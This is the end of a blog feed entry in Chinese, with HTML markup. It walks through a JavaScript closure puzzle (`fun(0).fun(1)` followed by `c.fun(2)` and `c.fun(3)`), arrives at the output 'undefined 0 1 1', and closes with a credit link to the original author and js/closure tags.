class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="hljs-keyword">var</span> c = fun(<span class="hljs-number">0</span>).fun(<span class="hljs-number">1</span>); c.fun(<span class="hljs-number">2</span>); c.fun(<span class="hljs-number">3</span>);</span><br></pre></td></tr></table></figure><ol><li>由于前面两个在第二行里面是类似的,这边就直接跳过了,输出<strong>undefined 和0 </strong></li><li>这时候,<code>c.fun(2)</code> => <code>fun(m,n)</code> => <code>m = 2</code>, <code>n</code>在上一个已经等于<code>1</code>, 也就是在<code>fun(n,o)</code>里面<code>n =2,o = 1</code>;<br>所以此次输出 <strong>1</strong></li><li>第三个 <code>c.fun(3)</code> => <code>fun(m,n)</code> => <code>m=3,n=1</code>。所以最后在函数 <code>fun(n,o)</code>里<code>n=3,o = 1</code>,所以还是输出<strong>1</strong></li></ol><p>所以第三行的答案是:<br><strong> undefined 0 1 1</strong></p><h3 id="原作者博客连接"><a href="#原作者博客连接" class="headerlink" title="原作者博客连接"></a>原作者博客连接</h3><p><a href="http://www.jianshu.com/p/7ff589e78964" target="_blank" rel="noopener"> IT程序狮 </a></p>]]></content>
<summary type="html">
<p>今天看见一道自认为比较有难度比较绕的闭包题目,倒腾了好一会才弄出答案来,这题目是别人博客里面写的,本着“自己懂还不算真的懂,给别人讲懂了才算真的懂的原则”,故我在这篇博客里面来说说这道题目<br></p>
</summary>
<category term="js" scheme="https://github.com/Zyingying/tags/js/"/>
<category term="闭包" scheme="https://github.com/Zyingying/tags/%E9%97%AD%E5%8C%85/"/>
</entry>
</feed>